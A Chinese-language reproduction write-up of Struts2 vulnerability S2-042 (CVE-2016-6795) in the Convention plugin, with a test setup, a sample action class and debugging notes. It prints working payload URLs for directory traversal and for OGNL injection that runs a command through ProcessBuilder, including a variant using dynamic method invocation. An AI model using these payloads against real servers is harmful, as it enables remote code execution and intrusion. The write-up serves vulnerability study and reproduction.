(CVE-2016-6795)s2-042

一、漏洞简介

在进行struts2开发时,需要在配置文件(struts.xml)中写一个个action,和对应返回结果的result(可以理解为前端返回的jsp文件)。但是,写的action多了,配置起来就显得特别繁琐了。struts2 Convention插件可以完全抛弃配置,也就是约定优于配置通过这个插件来实现目录的遍历

二、漏洞影响

Struts 2.3.20 - Struts 2.3.31

三、复现过程

  1. 测试环境搭建
  • **(1)**struts版本: struts2.3.24.1

  • **(2)**convention插件版本: struts2-convention-plugin-2.3.24.1

struts2-convention-plugin-2.3.24.1.jar复制到/WEB-INF/lib目录下。

  1. 样例代码

新建一个GoAction类,放在action包下(convention插件的默认约定位置)。

package action;

import com.opensymphony.xwork2.ActionSupport;

public class GoAction extends ActionSupport {

    private String go;
    private String methodToOGNL;

    public String execute(){
        return go;  //方法的返回值,即为resultCode
    }

    public String getGo() {
        return go;
    }
    public void setGo(String go) {
        this.go = go;
    }
    public String getMethodToOGNL() {
        return methodToOGNL;
    }
    public void setMethodToOGNL(String methodToOGNL) {
        this.methodToOGNL = methodToOGNL;
    }        
}

/WEB-INF/content目录下,新建一个admin.jsp:

<body>      Hello Admin~~ <br>
  </body> 
  1. 攻击和调试分析

上述代码目的是,让GoAction起到一个跳转功能。

admin用户经过验证,需要跳转到jsp页面时。 直接访问url:/go?go=admin,此时的resultCodeadmin。 通过convention插件,会在/WEB-INF/content找到admin.jsp,返回给用户。1.png此时,我们就可以通过go参数来控制resultCode

(1) 遍历目录读取文件

不防先试试跨目录。测试Payload为:

http://www.0-sec.org:8080/MyStruts2Test/go?go=../content/admin  

这样也成功找到了admin.jsp

然后,在/WEB-INF/下新建一个hack.jsp文件。简单的跨目录读取成功:

1.png(2)执行任意代码

在补丁分析时,我们看到修补了一个Result执行命令。于是,我们可以在resultCode中嵌入ognl代码试试\~ 我们最后要找到admin.jsp文件,于是在路径中嵌入了如下Payload:

http://www.0-sec.org:8080/MyStruts2Test/go?go=%24%7B%23_memberAccess%5B%22excludedClasses%22%5D%3D%7B1%7D%2Cnew%20java.lang.ProcessBuilder%28%27calc%27%29.start%28%29%7D%2f..%2fadmin

打断点分析可以看到:

1.png

找到admin.jsp文件后的Result为org.apache.struts2.dispatcher.ServletDispatcherResult对象,并且parse属性为true。location属性中带有OGNL语句,和S2-016漏洞一样,成功运行植入的代码,弹出计算器:

2.png

(3)另一种控制resultCode方法

可能注意到了methodToOGNL这个变量没有用,当我们可以选择调用action的某个方法时,比如还有最近出现的rest插件或者打开动态方法调用

<constant name="struts.enable.DynamicMethodInvocation" value="true" />

于是就有了如下payload:

http://www.0-sec.org:8080/MyStruts2Test/go!getMethodToOGNL?methodToOGNL=%24%7B%23_memberAccess%5B%22excludedClasses%22%5D%3D%7B1%7D%2Cnew%20java.lang.ProcessBuilder%28%27calc%27%29.start%28%29%7D%2f..%2fadmin

我调用了getMethodToOGNL方法,返回methodToOGNL变量的值。就能简接控制resultCode了。当然成功弹出计算器。这种情况,相比前面的情况。恐怕就要普遍些了吧\~

条件: 只需action中有个String变量即可。